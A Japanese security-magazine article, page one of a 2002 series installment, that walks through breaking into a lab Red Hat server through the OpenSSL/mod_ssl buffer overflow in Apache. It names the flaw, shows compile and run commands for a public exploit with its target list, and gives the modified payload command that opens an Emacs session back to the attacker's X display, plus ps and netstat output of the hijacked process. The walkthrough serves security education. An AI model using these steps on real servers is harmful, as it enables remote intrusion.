連載
» 2002年11月23日 00時00分 UPDATE

不正侵入の手口と対策(3):侵入者の攻撃手法とその対策 (1/2)

[木村靖,三井物産セキュアディレクション株式会社]
※ご注意
他社および他組織のWebサイトなどへのポートスキャンおよびデータの取得などの行為で得た情報を侵入などに悪用するか、または同じ目的を持つ第三者に提供した時点で違法となります。ご注意ください。
本稿の内容を検証する場合は、必ず影響を及ぼさない限られた環境下で行って下さい。
また、本稿を利用した行為による問題に関しましては、筆者および株式会社アットマーク・アイティは一切責任を負いかねます。ご了承ください。

 「第1回 攻撃者から見た侵入前の事前調査 (下見)」の結果、ターゲットサーバで使用しているOS、待機しているポートおよびソフトウェアの種類を以下のとおり推測することができた。

図1 推測できたターゲットサーバで使用しているOS、待機しているポートおよびソフトウェア 図1 推測できたターゲットサーバで使用しているOS、待機しているポートおよびソフトウェア

攻撃者マシンの構成

  • IPアドレス:172.16.10.10
  • 使用OS:Unix系OS
  • その他:X Window上で不正なコマンドを実行

攻撃対象サーバの構成

  • IPアドレス:192.168.0.10(www.example.co.jp)
  • 推測OS:Red Hat Linux(Linux Kernel 2.4.0 - 2.5.20)
  • サービス構成:表1参照
待機ポート サービス名 使用ソフトウェア
22/tcp ssh OpenSSH_3.1p1
25/tcp smtp Sendmail 8.11.6
53/tcp domain BIND 9.2.0
53/udp domain BIND 9.2.0
80/tcp http Apache/1.3.23(mod_ssl/2.8.7、OpenSSL/0.9.6b、DAV/1.0.3、PHP/4.1.2、mod_perl/1.26)
443/tcp https Apache/1.3.23(mod_ssl/2.8.7、OpenSSL/0.9.6b、DAV/1.0.3、PHP/4.1.2、mod_perl/1.26)
表1 攻撃対象サーバのサービス構成

 この結果をもとに、今回は実際の攻撃手法とその対策について説明する。

脆弱性の特定

 最新のセキュリティ情報を追い続けている読者であれば、表1を見ただけで、どのサービスにどういった脆弱性が含まれるかを、ある程度は特定できるのではないだろうか? それと同じように、攻撃者も最新のセキュリティ情報を入手し、それを実際の攻撃に活用している。もちろん、攻撃者自身で新たな脆弱性を見付け出すこともあるが、それは極めてまれなことだろう。

 入手したソフトウェアのバージョン情報(表1)と既知の脆弱性情報を比較すると、対象サーバには以下の脆弱性が含まれているものと思われる。

 このうち、OpenSSHで指摘されている脆弱性は、Red Hat Linux 7.3ではデフォルトの状態では弱点にはならない。よって、本稿では後者のApache、mod_ssl、OpenSSLのいずれかの脆弱性をついた攻撃を実施することになるが、ここではCA-2002-27で指摘されているApache/mod_sslを経由したOpenSSLに含まれるバッファオーバーフローの脆弱性(VU#102795)を利用し、サーバへの侵入を試みる。

対象サーバへの侵入

 脆弱性を特定したはいいが、いざ侵入を試みるとなると、一体何をすればよいのだろうか? ほとんどの攻撃者は、まずその脆弱性をついた攻撃プログラム(ここではexploitコードと呼ぶことにする)を探すことから始めるだろう。

 もちろん攻撃者自身でexploitコードを作成することもあるが、ほとんどの場合が作る手間を考えて、すでにあるものを使用するだろう。本稿でも、既存のexploitコードを使用して、対象サーバへの侵入を実際に試みた。

侵入までの手順

  • (1)exploitコードを入手する
  • (2)exploitコードの手直し
  • (3)コンパイル
  • (4)侵入の試み

(1)exploitコードを入手する

 まずはexploitコードを入手する。本稿で使用するexploitコードは、メーリングリストやWebサイトで公開されているもので、インターネットに接続可能な環境でさえあればだれでも入手することができる。

コラム 〜 バックドア付きのexploitコードに注意! 〜

世の中に出回っているバッファオーバーフロー系のexploitコードの中には、ある脆弱性を攻撃するexploitコードと偽り、実際はexploitコードを実行したシステム上にバックドア(トロイの木馬)を仕掛けたり、システム上の有用な情報を攻撃者のメールアドレスに送信するといったものがある。


なぜ、利用する者がそれに気付かないかというと、バックドアとなる部分をshellcode(egg)と呼ばれるマシン語(処理しやすい16進数などで記述されている)に含めているからだ。もし、検証などでexploitコードを実行する場合は十分に注意するとともに、閉じた環境内で実施することを強くお勧めする。


(2)exploitコードの手直し

 入手したexploitコードは、侵入に成功した後にバックドアを仕掛け、さらにはほかのサーバに対しても同様の攻撃を行うことを目的とした、いわゆるワームであった。が、本稿では侵入することだけを目的としているため、対象サーバ上で特定コマンド(emacs)を実行できるように、exploitコードを修正することにした。

 Emacsは、ご存知の読者も多いと思うがGNU Projectが提供する多機能エディタで、ファイル編集はもちろんのこと、さまざまな機能が標準で提供される。その中の1つにshellモードと呼ばれるものがあり、本稿でもEmacsのshellモードを利用し、xterm(kterm)などのX Window上で動作するターミナルと同様の処理操作を実現させることにする*1

*1
そんな遠回りなことをしないでxtermを直接実行すればよい、と思う読者もいるかと思うが、本稿の対象サーバOSであるRed Hat Linux 7.3には、標準でxtermなどのX Windowで動くターミナルエミュレータがインストールされていなかった。ちなみに、対象サーバのRed Hat Linux 7.3のインストールタイプは「サーバ(Server)」を選択した。

 以下のコマンドを実行するように、exploitコードを修正した。

env HOME=/tmp emacs -display 172.16.10.10:0.0

  • Emacsの指定オプション説明

-display:-dでもよい。emacsを、指定した宛先のX Window上に表示させる。指定例では、172.16.10.10(攻撃者マシン)の6000/tcpポート(:0.0)に表示させようとしている。

なお、これを行う場合は、あらかじめ攻撃者(172.16.10.10)でxhostコマンドを実行し、対象サーバ(192.168.0.10)からの6000/tcp(x11)に対する接続を許可しておく必要がある。

% xhost +192.168.0.10
192.168.0.10 being added to access control list

※注意
対象サーバの上位ファイアウォール(ルータ)では、内部から外部への通信はフィルタリングされていないものとする。

(3)コンパイル

 本稿で使用するexploitプログラム(仮にapache-ssl-bug.cとする)はC言語で書かれ、ソースコードとして配布されていた。そのため実際に使用するためには、まずC言語のコンパイラを用いて、ソースコードから実行形式のバイナリファイルを生成する必要がある。ここでは、GCC(Gnu Compiler Collection)を用いて生成した。

% gcc -lcrypto -o apache-ssl-bug apache-ssl-bug.c

 これによりapache-ssl-bugというバイナリファイル(実行プログラム)が作成される。

(4)侵入の試み

 作成した実行プログラムを引数なしで実行してみたところ、使い方が表示された。本exploitコードでは、次のオプションが用意されているようだ。

% ./apache-ssl-bug

…… 途中省略 ……

Syntax: ./apache-ssl-bug [options] host

Options:

-p port port to connect (default 443)
-v verbose
-i file input file (default ssl2.txt)
-t target target


0 Autodetect
1 Gentoo
2 Debian 1.3.26
3 Red-Hat 1.3.6
4 Red-Hat 1.3.9
5 Red-Hat 1.3.12
6 Red-Hat 1.3.12
7 Red-Hat 1.3.19
8 Red-Hat 1.3.20
9 Red-Hat 1.3.26
10 Red-Hat 1.3.23
11 Red-Hat 1.3.22
12 SuSE 1.3.12
13 SuSE 1.3.17
14 SuSE 1.3.19
15 SuSE 1.3.20
16 SuSE 1.3.23
17 SuSE 1.3.23
18 Mandrake 1.3.14
19 Mandrake 1.3.19
20 Mandrake 1.3.20
21 Mandrake 1.3.23

 ここで重要となるのが-tオプションの指定値だ。今回対象のバッファオーバーフローの脆弱性をついた攻撃が成功するかどうかは、対象のアーキテクチャ、OS、ソフトウェアの種類やバージョンに依存する。そのため今回の場合は、CPUアーキテクチャがIntel(i386)版のRed Hat Linux 7.3上で動作するApache 1.3.23を攻撃対象にしているため、プログラム実行時の-tオプションには、10(Red-Hat1.3.23)を指定した。

 以下は、対象サーバ(192.168.0.10)に対して実施した結果である。

% ./apache-ssl-bug -t 10 192.168.0.10

……途中省略……

Trying to exploit 192.168.30.177
Selected architecture: Red-Hat Apache 1.3.23 (9)

 コマンドの実行後、画面1に示すEmacsの画面が攻撃者のX Window 上に表示されたら侵入成功となる。なお、画面1のshellモードを実行するには、M-x shell(Escキー、xキーをタイプし、続けてshellを入力してEnterキーを押す)をタイプすればよい。

画面1 Emacsの画面(拡大) 画面1 Emacsの画面(拡大

 画面2は、引き続き対象サーバ上でhostname、uname、idコマンドを実行した結果である。idコマンドで現在のユーザー権限を見ると、apacheが表示されている。これはApache経由で侵入したため、Apacheの実効権限が奪えたということを意味している。なお、奪えるユーザー/グループ権限は、Apache httpd.confのUserおよびGroup項目に依存する。

画面2 Emacsの画面(拡大) 画面2 Emacsの画面(拡大

 この時点で対象サーバでは、以下のようなEmacsプロセスが実行され(ps -ef)、また、攻撃者マシンへの6000/tcp(x11)のコネクションが確立されていることが分かる(netstat--inet)。

$ ps -ef
UID PID PPID C STIME TTY TIME CMD
apache 23216 1 0 12:57 ? 00:00:02 emacs -display 172.16.10.10:0.0


$ netstat --inet
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 544 192.168.0.10:32777 172.16.10.10:x11 ESTABLISHED

 ここまでくれば、対象サーバにて、OSの再起動、物理的にネットワークから切断、Emacsのプロセスをkillされない限り、引き続きEmacsの環境を利用できる。あとは管理者権限(root)を奪ったり、バックドア(トロイの木馬)を仕掛けたりと、攻撃者はさらなる不正行為を試みるだろう(次回紹介の予定)。

       1|2 次のページへ

Copyright© 2017 ITmedia, Inc. All Rights Reserved.

@IT Special

- PR -

TechTargetジャパン

この記事に関連するホワイトペーパー

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。